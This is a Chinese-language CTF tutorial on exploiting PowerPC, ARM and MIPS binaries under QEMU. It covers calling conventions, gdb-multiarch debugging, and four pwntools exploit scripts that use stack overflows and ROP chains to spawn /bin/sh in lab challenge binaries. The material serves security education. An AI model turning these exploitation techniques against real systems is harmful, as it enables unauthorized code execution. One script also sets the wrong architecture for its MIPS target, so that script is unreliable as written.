深入异构 PWN:PowerPC&ARM&MIPS
字数 2163 2025-08-22 18:37:14
深入异构 PWN:PowerPC、ARM 和 MIPS 架构漏洞利用指南
前言
本文档基于 Ubuntu 16.04 环境,介绍如何在 QEMU 仿真环境中运行和调试异构架构程序,并通过 CTF-PWN 例题深入讲解 PowerPC、ARM 和 MIPS 架构的漏洞利用技术。通过学习,您将掌握:
- PowerPC、ARM、AARCH64 和 MIPS 架构的指令集和函数调用约定
- 异构程序的调试方法
- 将 x86 架构下的漏洞挖掘和利用思想迁移到异构架构
环境搭建
QEMU 模拟器安装
QEMU 是一个支持多种处理器架构的模拟器,提供两种主要运行模式:
qemu-user:用户模式模拟qemu-user-static:静态编译版本,包含所有必需库
安装命令:
$ sudo apt-get update
$ sudo apt-get install qemu qemu-user qemu-user-static
$ sudo apt-get install qemu-system uml-utilities bridge-utils
运行程序
静态链接程序
$ qemu-ppc-static ./pwn # PowerPC 32-bit
$ qemu-arm-static ./pwn # ARM 32-bit
$ qemu-aarch64-static ./pwn # ARM 64-bit
$ qemu-mips-static ./pwn # MIPS
$ qemu-mipsel-static ./pwn # MIPS小端序
$ qemu-ppc64-static ./pwn # PowerPC 64-bit
动态链接程序
需要先安装对应架构的动态链接库:
$ apt search "libc6-" | grep "powerpc"
$ sudo apt-get install libc6-powerpc-cross
运行命令:
$ qemu-ppc -L /usr/powerpc-linux-gnu ./pwn
调试工具安装
$ sudo apt-get install gdb-multiarch
调试方法
- 启动 QEMU 并监听调试端口:
$ qemu-ppc -g 1234 -L /usr/powerpc-linux-gnu ./pwn
- 使用 gdb-multiarch 连接:
$ gdb-multiarch -q -ex "set architecture powerpc:common" ./pwn
(gdb) set endian big
(gdb) target remote :1234
PowerPC 架构
寄存器说明
| 寄存器 | 说明 |
|---|---|
| R1/SP | 栈顶指针 |
| R3 | 第一个参数/函数返回值 |
| R4-R10 | 函数或系统调用的参数 |
| LR | 链接寄存器,存储返回地址 |
| PC | 程序计数器 |
常用指令
STB: 存储字节STW: 存储字LD: 从内存加载数据到寄存器LI: 加载立即数LIS: 加载立即数并左移16位LWZ: 加载字并清零高位BL: 分支链接(保存返回地址到LR并跳转)MTCTR: 移动到计数寄存器BCTRL: 分支到计数寄存器并链接
函数调用约定
- 通过寄存器传递参数(R3-R10)
- 参数过多时,多余参数压入栈中
- 返回值存储在R3寄存器
例题分析:pwn起源
关键点:
- 程序为PowerPC-32-big架构静态链接程序
- 存在任意代码执行漏洞
- 需要控制R3寄存器指向"/bin/sh"
利用步骤:
- 构造payload包含"/bin/sh"字符串
- 覆盖关键地址为system函数地址
- 通过gadget控制R3寄存器指向"/bin/sh"
EXP:
from pwn import *
context.endian = 'big'
context.log_level = 'debug'
p = process(['qemu-ppc-static', './main'])
system = 0x100006F0
payload = '/bin/sh\x00' + 'a'*32 + p32(system)
p.sendlineafter('comment.\n', payload)
p.interactive()
ARM & AARCH64 架构
寄存器说明
ARM (32位):
- R0: 第一个参数/返回值
- R13 (SP): 堆栈指针
- R14 (LR): 链接寄存器
- R15 (PC): 程序计数器
AARCH64 (64位):
- X0-X5: 前六个参数
- X0: 返回值
函数调用约定
ARM:
- 前四个参数在R0-R3
- 剩余参数从右向左入栈
- 被调用者负责栈平衡
- 返回值在R0
AARCH64:
- 前六个参数在X0-X5
- 调用者负责栈平衡
- 返回值在X0
常用指令
MOV: 数据传输ADD/SUB: 加减法CMP: 比较B: 无条件跳转BL: 分支链接(保存返回地址)LDR/STR: 内存读写PUSH/POP: 栈操作
例题分析:jarvisoj_typo
关键点:
- ARM-32-little架构静态链接程序
- 去符号表
- 基础栈溢出
- 存在system和'/bin/sh'
利用步骤:
- 使用rizzo还原符号表
- 构造ROP链控制R0指向'/bin/sh'
- 跳转到system函数
EXP:
from pwn import *
context(arch='arm', log_level='debug')
p = process(['qemu-arm-static', './typo'])
pop_r0_r4_ret = 0x00020904
binsh = 0x0006c384
system = 0x00010BA8
p.send('\n')
payload = 'a'*112
payload += p32(pop_r0_r4_ret)
payload += p32(binsh)
payload += p32(0)
payload += p32(system)
p.sendline(payload)
p.interactive()
MIPS 架构
寄存器说明
| 寄存器 | 别名 | 用途 |
|---|---|---|
| $0 | $zero | 常量0 |
| $1 | $at | 保留给汇编器 |
| \(2-\)3 | \(v0-\)v1 | 函数返回值 |
| \(4-\)7 | \(a0-\)a3 | 前四个参数 |
| \(8-\)15 | \(t0-\)t7 | 临时寄存器 |
| \(16-\)23 | \(s0-\)s7 | 保存寄存器 |
| \(24-\)25 | \(t8-\)t9 | 补充临时寄存器 |
| \(26-\)27 | \(k0-\)k1 | 中断处理使用 |
| $28 | $gp | 全局指针 |
| $29 | $sp | 堆栈指针 |
| $30 | $fp | 帧指针 |
| $31 | $ra | 返回地址 |
函数调用约定
- 前四个参数在\(a0-\)a3
- 剩余参数从右向左入栈
- 返回值在\(v0-\)v1
- 调用者负责保存临时寄存器
- 被调用者负责保存\(s0-\)s7
例题分析:ret2win_mipsel
关键点:
- Mipsel架构程序
- read函数存在栈溢出
- 存在后门函数
EXP:
from pwn import *
context(arch='arm', os='linux')
context.log_level = 'debug'
p = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu", "./ret2win_mipsel"])
payload = "a"*0x24 + p32(0x00400A00)
p.sendafter('>', payload)
p.interactive()
例题分析:split_mipsel
关键点:
- Mipsel架构程序
- read函数存在栈溢出
- 存在system和"/bin/sh"字符串
利用步骤:
- 查找控制$a0的gadget
- 构造ROP链调用system("/bin/sh")
EXP:
from pwn import *
context(arch='mips', os='linux')
context.log_level = 'debug'
p = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu", "./split_mipsel"])
payload = 'a'*36
payload += p32(0x00400a20) # gadget: lw $a0, 8($sp); lw $t9, 4($sp); jalr $t9; nop
payload += 'bbbb'
payload += p32(0x00400B70) # system
payload += p32(0x00411010) # /bin/sh
p.sendafter(">", payload)
p.interactive()
总结
本文详细介绍了PowerPC、ARM和MIPS架构下的PWN技术,包括:
- 环境搭建和调试方法
- 各架构的寄存器使用和函数调用约定
- 常见指令集
- 实际例题分析和利用技巧
通过掌握这些知识,您可以将x86架构下的漏洞利用思想迁移到异构架构,提升在CTF比赛和实际安全研究中的能力。